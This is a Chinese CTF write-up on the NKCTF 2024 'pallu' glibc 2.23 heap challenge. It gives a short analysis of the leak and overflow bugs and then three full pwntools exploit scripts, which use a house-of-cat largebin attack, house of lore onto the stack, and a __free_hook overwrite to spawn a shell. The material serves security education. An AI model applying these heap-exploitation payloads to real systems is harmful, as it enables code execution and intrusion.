Glibc Heap Exploit 坐牢笔记 - 0x09
NKCTF-pallu
分析
一个2.23的heap 实现的功能就是能创造几个种类的chunk,可以自定义一个种类的chunk,包括名称,size(根据两个现有的大小取平均值)等。。。 但是size的限制就是小于0x4ff的堆块不能被free,也不能用它得到另外一个size的chunk。 在setlabel函数里面可以使用堆溢出漏洞,但是前提是布置好对应size的chunk。此外,还有记录使用次数的变量,一旦使用过这个漏洞2次,就没法再次使用。 除此之外,一旦这个变量不是初始值,输出函数就没法再次使用。 因此我们要在拿到必须的地址之后再使用这个漏洞 拿地址的漏洞: 创建一个新种类的chunk,输入名称的时候,没有对字符串进行截断,导致可以在输出的时候把结构体中存储的chunk的地址连带出来。 gift函数可以使用两次得到2个小的chunk(0x202),但是在输入giftcode的时候,没有进行截断,导致输出的时候会把内存连续的libc地址给写出来,这样就拿到了堆地址和libc地址
之后使用堆溢出就能直接largebin attack+house of cat直接拿shell了,而且方法比其他方法简单。
EXP
#patchelf --set-interpreter /home/.../ld-2.23.so --replace-needed libc.so.6 /home/.../libc.so.6 pwn
#coding=utf-8
from pwn import *
from socket import *
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
global p
global r
ELFpath=''
libcpath=''
DEBUG=2
PROCESS=1
REMOTE=0
run_mode=PROCESS
socket_flag=False
ELFpath='./pallu'
e=ELF(ELFpath)
os.chdir(ELFpath[:ELFpath.rfind('/')])
libcpath='./libc-2.23.so'
if(libcpath!=""):
libc=ELF(libcpath)
start_script='''
b setbuf
'''
if(socket_flag==False):
if(run_mode==DEBUG):
p=gdb.debug(args=[ELFpath,start_script])
elif(run_mode==PROCESS):
# p=process(argv=[ELFpath])
p=process(['./ld-2.23.so', ELFpath], env={"LD_PRELOAD":'./libc-2.23.so'})
elif(run_mode==REMOTE):
p=remote('node.nkctf.yuzhian.com.cn',35180)
else:
if(run_mode==DEBUG):
r=gdb.debug(ELFpath,start_script )
elif(run_mode==PROCESS):
r=process(argv=[ELFpath,'/home/jmpcliff/Desktop/httpd'])
pause()
p=remote('127.0.0.1',6666)
rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64 (data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
global run_mode
if(run_mode!=PROCESS):
return
text_base, libc_base = get_base(p, 'challenge')
script = '''
set $text_base = {}
set $libc_base = {}
'''.format(text_base, libc_base)
if socket_flag==False:
gdb.attach(p, script)
else:
gdb.attach(r, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
def create_link_map(l_addr,know_got,link_map_addr):
link_map=p64(l_addr & (2 ** 64 - 1))
#dyn_relplt
link_map+=p64(0)
link_map+=p64(link_map_addr+0x18) #ptr2relplt
#relplt
link_map+=p64((know_got - l_addr)&(2**64-1))
link_map+=p64(0x7)
link_map+=p64(0)
#dyn_symtab
link_map+=p64(0)
link_map+=p64(know_got-0x8)
link_map+=b'/flag\x00\0\x00'
link_map=link_map.ljust(0x68,b'B')
link_map+=p64(link_map_addr) #ptr2dyn_strtab_addr
link_map+=p64(link_map_addr+0x30) #ptr2dyn_symtab_addr
link_map=link_map.ljust(0xf8,b'C')
link_map+=p64(link_map_addr+0x8) #ptr2dyn_relplt_addr
return link_map
def add(idx):
p.sendlineafter("Your choice:","1")
p.sendlineafter("pallu index:",str(idx))
def set_label(idx,pl):
p.sendlineafter("Your choice:","2")
p.sendlineafter("pallu index:",str(idx))
p.sendlineafter("input Labels:",pl)
def print_pal(idx):
p.sendlineafter("Your choice:","3")
p.sendlineafter("pallu index:",str(idx))
def bleed(i1,i2,name):
p.sendlineafter("Your choice:","4")
p.sendlineafter("pallu index:",str(i1))
p.sendlineafter("pallu index:",str(i2))
p.sendlineafter("Do you want to set name by yourself?(y/n)",'y')
p.sendlineafter("input name:",name)
def kill(idx):
p.sendlineafter("Your choice:","5")
p.sendlineafter("pallu index:",str(idx))
def leak():
p.sendlineafter("Your choice:","6")
def hack():
p.sendlineafter("Your choice:","9")
def gift(code):
p.sendlineafter("Your choice:","8")
if code==1:
p.sendlineafter("Enter the git code:","Happy NKCTF2024!")
else :
p.sendlineafter("Enter the git code:","Welcome PalluWorld!")
# 泄露堆地址和libc基址。
add(0)
add(1)
bleed(0,1,b'a'*0x10)
p.recvuntil("You get new pallu named aaaaaaaaaaaaaaaa")
addr=u64(p.recv(6)+b'\x00\x00')
heap_base=addr-(0x55555632c530-0x55555632a000)
# bleed(1,2,b'B'*0x10)
kill(0)
kill(3)
kill(2)
gift(1)
p.recvuntil("Your gift code : Happy NKCTF2024!")
p.recv(1)
addr=u64(b'\x00'+p.recv(5)+b'\x00\x00')
libc_base=addr-(0x788be75c3800-0x788be7200000)
# print)()
print(hex(libc_base))
# gift(2)
# kill(0)
# kill(1)
# kill(2)
# kill(3)
# 整出来大小不同而且在用一个largebin list大小范围的chunk。准备之后的largebin attack
add(2)
bleed(1,2,b'ccf1')
kill(2)
bleed(1,3,b'ccf2')
kill(3)
bleed(1,2,b'ccf3')
kill(2)
bleed(1,3,b'ccf4')
kill(3)
bleed(1,2,b'ccf')
# 提前写好伪造的IO结构体
# ru("0x")
libcbase=libc_base
LOGTOOL['libcbase']=libcbase
# ru("0x")
fake_io=heap_base+0x210
LOGTOOL['fake_io']=fake_io # chunk_start (prev_size)
IO_file_jumps=libcbase+0x3C26E0
LOGTOOL["IO_file_jump"]=IO_file_jumps
IO_wfile_jumps=libcbase+0x3C2260
LOGTOOL["IO_wfile_jumps"]=IO_wfile_jumps
execve_addr=libcbase+0xcbcf0
LOGTOOL['execve']=execve_addr
setcontext_61=libcbase+0x47B00+53
LOGTOOL['setcontext_61']=setcontext_61
system=libc_base+0x45380
rop=b'/bin/sh\x00'
# 0x execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
# 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
# 0xf0897 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
one=libc_base+0xef9f4
pay=flat(
{
0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data
0xa0:[p64(fake_io+0x30)],
0xc0:[p64(1)], #_mode
0xd8:[p64(IO_wfile_jumps+0x30)], # vtable
0x110:[p64(fake_io+0x118)], # wide_data -> vtable
0x118:flat(
{
0x18:[p64(one)]
},filler=b'\x00'
),
0x138:flat(
{
0x28:p64(fake_io+0x118),
0x68:p64(fake_io+0x1e8), # rdi
0x70:p64(0), # rsi
0x88:p64(0), # rdx
0xa0:p64(fake_io+0x1e8), # rsp
0xa8:p64(system) # ret_addr
},filler=b'\x00'
),
0x1e8:flat(
{
0x00:rop
},filler=b'\x00'
)
},filler=b'\x00'
)
# s(pay[0x10:])
# 清空当前chunk,省事。同时准备堆溢出进行largebin attack
kill(1)
kill(2)
kill(3)
add(9)
add(1)
add(1)
kill(1)
add(8)
io_all=libc_base+0x003C4520
av1=libc_base+(0x7039d05c3fa8-0x7039d0200000)
nx=heap_base+0x210
# 堆溢出修改bk为io_list_all地址-0x20,(largebin attack)
set_label(0,b'a'*0x200+p64(0)+p64(0x531)+p64(av1)+p64(av1)+p64(nx)+p64(io_all-0x20))
# largebin attack
kill(3)
add(8)
kill(3)
add(1)
# 堆溢出布置伪造的结构体
set_label(0,b'a'*0x200+pay[:])
LOGALL()
hack()
it()
其他方法
除了这个方法,官方WP的另一位师傅的WP写了不同的两种方法。
方法1
(链接)[https://mp.weixin.qq.com/s/H3l54bICAkvLTFNuPTinKg] 利用house of lore把chunk申请到栈上面,进行栈溢出。 但是要利用small bin(来自堆块分割)的chunk的bk,不仅要在栈上布置好双向链表,而且还要多拿个栈地址,不如cat方便简洁。
from pwn import *
from LibcSearcher import *
import sys
context(os='linux', arch='amd64', log_level='debug')
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda x,y:p.sendafter(x,y)
sla=lambda x,y:p.sendlineafter(x,y)
rc=lambda x:p.recv(x)
rl=lambda :p.recvline()
ru=lambda x:p.recvuntil(x)
ita=lambda :p.interactive()
slc=lambda :asm(shellcraft.sh())
uu64=lambda x:u64(x.ljust(8,b'\0'))
uu32=lambda x:u32(x.ljust(4,b'\0'))
def gdba(x=''):
if len(sys.argv) > 1:
if sys.argv[1] == 'n':
return
if type(p)==pwnlib.tubes.remote.remote:
return
elif type(p)==pwnlib.tubes.process.process:
gdb.attach(p,x)
# print('',proc.pidof(p)[0])
# gdb.attach(proc.pidof(p)[0])
pause()
def getProcess():
if len(sys.argv) > 1 and sys.argv[1] == 'r':
return remote('','')
else:
return process('./pallu')
def initpallu(index):
ru(b'Your choice:')
sl(b'1')
ru(b'pallu index:')
sl(str(index).encode())
def setLabel(index,label):
ru(b'Your choice:')
sl(b'2')
ru(b'pallu index:')
sl(str(index).encode())
ru(b'input Labels:')
sl(label)
def bleedpallu(index1,index2,name):
ru(b'Your choice:')
sl(b'4')
ru(b'pallu index:')
sl(str(index1).encode())
ru(b'pallu index:')
sl(str(index2).encode())
ru(b'?(y/n)')
sl(b'y')
sla(b'input name:',name)
def killpallu(index):
ru(b'Your choice:')
sl(b'5')
ru(b'pallu index:')
sl(str(index).encode())
def getgift(code):
ru(b'Your choice:')
sl(b'8')
sla(b'Enter the git code:',code)
def exit_():
ru(b'Your choice:')
sl(b'10')
p=getProcess()
# gdb.attach(p)
# 先后获得栈与libc的地址
code1=b'a'*(8*5-1)+b'\n'
getgift(code1)
ru(code1)
libcaddr = rc(6)
libcaddr=uu64(libcaddr)
print("libcaddr",hex(libcaddr))
libcbase=libcaddr-0x3ad96
print("libcbase",hex(libcbase))
code2=b'a'*(8*9-1)+b'\n'
getgift(code2)
ru(code2)
stackaddr = rc(6)
stackaddr=uu64(stackaddr)-0x80
print("stackaddr",hex(stackaddr))
print("libcbase",hex(libcbase))
# 此时可init的pallu为:
# 0:0x2000 1:0x500 2:0x930
initpallu(1)
initpallu(2)
# 当前持有pallu的size
# 0:0x500 1:0x930
# 让两只pallu繁育出一只0x718的pallu
# 培育出的pallu可以自定义名字,此时充满16字节后通过打印pallu名字可以得到堆地址
bleedpallu(0,1,b'h'*0x10)
# 接受溢出得到的堆地址
ru(b'h'*0x10)
ru(b'h'*0x10)
heapaddr = rc(6)
heapaddr=uu64(heapaddr)-0x950
print("heapaddr",hex(heapaddr))
# 清空所有pallu,保证空间整洁
killpallu(2)
killpallu(1)
killpallu(0)
print("kill All pallu")
# 此时可init的pallu为:
# 0:0x2000 1:0x500 2:0x930 3:0x718
initpallu(3) # 开辟一块0x720的chunk
initpallu(3) # 该chunk用于阻拦top chunk,防止上一个chunk释放时被top chunk合并
killpallu(0) # 释放0号pallu,得到一个0x720的free chunk(unsorted bin)
initpallu(1) # 请求一个0x510的chunk,此时会将上面的unsortedbin分割用于分配,剩下一个0x210的unsortedbin
initpallu(1) # 再请求一个大于0x210的chunk,作用为堆管理器在unsortedbin中搜索找不到符合大小的bin时,会将0x210的unsortedbin放入smallbin
killpallu(2) # 上一步创建的chunk没用了,释放掉
# 此时在新建的0号pallu后面即为smallbin,溢出修改其fd指向栈地址
# setLabel中存在0x20的溢出,正好能修改到smallbin的fd
setLabel(0,b'g'*0x500+p64(0)+p64(0x221)+p64(0x7f8796c7ad78-0x7f87968b7000+libcbase)+p64(stackaddr+0x30))
print("setLabel")
# 编辑栈内容,构造smallbin链表,同时根据题目得到一个获得0x210的chunk的分配机会
giftcode=b'Happy NKCTF2024!'
giftcode=giftcode.ljust(0x10,b'\0')
giftcode+=p64(0)+p64(0)+p64(stackaddr+0x30)+p64(0)
giftcode+=p64(0)+p64(0)+p64(heapaddr)+p64(stackaddr+0x10)
getgift(giftcode)
print("send giftcode2")
gdba()
pause()
# 此时再次创建的0x210大小的chunk会根据链表分配到栈上
getgift(b'Welcome PalluWorld!')
# 0x4525a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
# 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
# 0xf0897 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
onegadget=libcbase+0x4525a
# 溢出栈上的chunk,即可将函数返回地址修改为onegadget,获得shell
setLabel(3,b'\x00'*4*8+p64(0xdeadbe00)+p64(onegadget)+p64(0)*10)
# gdba("b *$rebase(0x0000000000002592)")
exit_()
ita()
方法2
(链接)[https://www.irreel.top/2024/03/nk2024pwn/#leak] unsortedbin attack改变存储使用堆溢出漏洞次数的变量为一个大数字(main_arena的地址),从而达到几乎无限次使用漏洞,然后改记录chunk的数组,让地址指向钩子或者got表,然后使用修改函数把钩子或者got表改成onegadget之类的就能拿shell了。 但是cat在这个方法使用unsortedbin attack的时候就已经可以拿shell了,这种方法还是没有cat简单。
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
def skip(idx):
p.sendlineafter(b'10.Help\n----------------------\n', str(idx).encode())
def create(index):
skip(1)
p.sendlineafter(b'index:', str(index).encode())
def edit(index, content=b'\x00'):
skip(2)
p.sendlineafter(b'index:', str(index).encode())
p.sendafter(b'Labels:', content)
def show(index):
skip(3)
p.sendlineafter(b'index:', str(index).encode())
p.recvuntil(b'labels: ')
return p.recvline(keepends=False)
def breed(index1, index2):
skip(4)
p.sendlineafter(b'index:', str(index1).encode())
p.sendlineafter(b'index:', str(index2).encode())
p.sendlineafter(b'yourself?(y/n)', b'y')
p.sendafter(b'name:', b'0123456789abcdef')
def delete(index):
skip(5)
p.sendlineafter(b'index:', str(index).encode())
def show_name(index):
skip(6)
p.recvuntil(b'\n%d.\npallu name: ' % index)
return p.recvline(keepends=False)
def gift(index):
skip(8)
if index in [0, 1]:
p.sendlineafter(b'git code:', [b"Happy NKCTF2024!", b"Welcome PalluWorld!"][index])
else:
assert type(index) == bytes
assert b'\n' not in index
p.sendlineafter(b'git code:', index)
p.recvuntil(b'Your gift code : ')
p.recvline()
return p.recvline(keepends=False)
'''
# proxy
import socks
context.proxy = (socks.HTTP, '192.168.168.47', 10809)
'''
import time
import random
def exp():
create(1) # 0
create(1) # 1
breed(0, 1) # 2
heap_base = u64(show_name(2)[0x10: ] + b'\x00\x00') - 0xa30
print('heap:', hex(heap_base))
delete(2)
delete(1)
delete(0)
libc_base = u64(gift(b'0' * 0xf) + b'\x00\x00') - libc.sym['_IO_2_1_stdin_']
print('libc:', hex(libc_base))
elf_base = u64(gift(b'0' * 0x2f) + b'\x00\x00') - 0x1260
print(' elf:', hex(elf_base))
gift(0) # 0
create(1) # 1
edit(0, (
p64(0) + p64(0x201) +
p64(elf_base + 0x6200 + 0x10 - 0x18) + p64(elf_base + 0x6200 + 0x10 - 0x10)
).ljust(0x200, b'\x00') + p64(0x200) + p64(0x510))
delete(1) # ~1
gift(1) # 1
create(1) # 2
create(1) # 3
delete(2) # ~2
edit(1, b'A' * 0x208 + p64(0x511) + p64(0) + p64(elf_base + 0x6000))
# time.sleep(0.5)
create(1) # 2
edit(0, p64(0) +
p64(0) * 2 + p64(libc_base + next(libc.search(b'/bin/sh\x00'))) + p32(0x500) +
p64(0) * 2 + p64(libc_base + libc.sym['__free_hook']) + p32(0x500)
)
edit(1, p64(libc_base + libc.sym['system']))
delete(0)
# context.log_level = 'debug'
import sys
LOCAL = len(sys.argv) == 1
program = './pallu'
libc = ELF('./libc-2.23.so', checksec=False)
if LOCAL:
p = process(program.split(' '))
else:
if len(sys.argv) == 2:
host, port = sys.argv[1].split(':')
port = int(port)
else:
host, port = sys.argv[1], int(sys.argv[2])
p = remote(host, port)
exp()
p.interactive()